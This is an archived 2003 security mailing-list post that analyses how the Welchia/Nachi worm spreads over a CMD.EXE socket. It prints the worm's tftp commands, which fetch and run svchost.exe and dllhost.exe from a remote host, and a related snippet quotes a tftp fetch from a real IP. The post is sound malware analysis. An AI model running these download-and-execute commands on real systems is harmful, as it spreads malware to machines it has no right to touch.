Re: [Full-Disclosure] W32/Welchia, W32/Nachi backdoor?

From: Michael Mueller (malware_at_t-online.de)
Date: 08/20/03

  • Next message: Drew Copley: "RE: [Full-Disclosure] Al Qaida claims responsibility for blackout" 
    To: full-disclosure@lists.netsys.com
Date: Wed, 20 Aug 2003 19:20:47 +0200

    Hi Barry,

    you wrote:
    > >creates a backdoor listening on TCP/707 or some other randomly chosen port
    > between TCP/666 and >TCP/765 [2]
    >
    > Telnetting to this port seems to disconnected after 1-5 characters have been
    > entered? This doesn't look like TFTP (port 65/tcp&UDP), and the windows
    > tftp client doesn't seem to offer any means of specifying a port to connect
    > to?

    Mhh, I wouldn't call it a backdoor.

    The client to infect opens the connection with the stdin/-out of CMD.EXE
    connected to the socket. Once the connection is established the listener
    is waiting for the prompt printed by CMD.EXE and starts giving commands.
    These commands look like following:

    dir wins\dllhost.exe
    dir dllcache\tftpd.exe
    tftp -i x.x.x.x get svchost.exe wins\SVCHOST.EXE
    tftp -i x.x.x.x get dllhost.exe wins\DLLHOST.EXE
    wins\DLLHOST.EXE

    If you want to use this socket connection as backdoor to the server, you
    have to find an buffer overflow or similiar in the worm code.

    Michael 

    -- 
Linux@TekXpress
http://www-users.rwth-aachen.de/Michael.Mueller4/tekxp/tekxp.html
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
  • Next message: Drew Copley: "RE: [Full-Disclosure] Al Qaida claims responsibility for blackout"

    Relevant Pages

    • Re: downloading image without PB?
      ... hay I've finished the rndis image download, ... and I'm making my own tftp client software, file transfer is done and I'm ... Eboot listens on port 980 which is not the default TFTP port. ...
      (microsoft.public.windowsce.platbuilder)
    • DCOM worm with get.bat bot.rar
      ... I just got a new DCOM worm on our honeypot. ... After the exploit on port 135 ... TFTP -i 81.103.7.66 GET get.bat ... the connection timed out. ...
      (Incidents)
    • SUMMARY: trying to start in.tftpd ( tftp ) and PXE-E11 ARP Time out
      ... The service doesn't start until a connection is made. ... I ps -ef|grep tftp and I get nothing. ... To activate a new entry in inetd.conf, ... Then from another host telnet to the tftpd port ...
      (SunManagers)
    • tftp and tcp_wrappers
      ... We are implementing a tftp server to ... To assist in securing this server we are using ... When inetd accepts a connection on port ... connections that have queued) that spawned the connection. ...
      (SunManagers)
    • Re: How to make bootloader support normal TFTP,not PB?
      ... Actually the EBoot itself is a TFTP Server but it uses some other UDP port ... After taht, you may use regular TFTP client, for example the TFTP.exe on ...
      (microsoft.public.windowsce.platbuilder)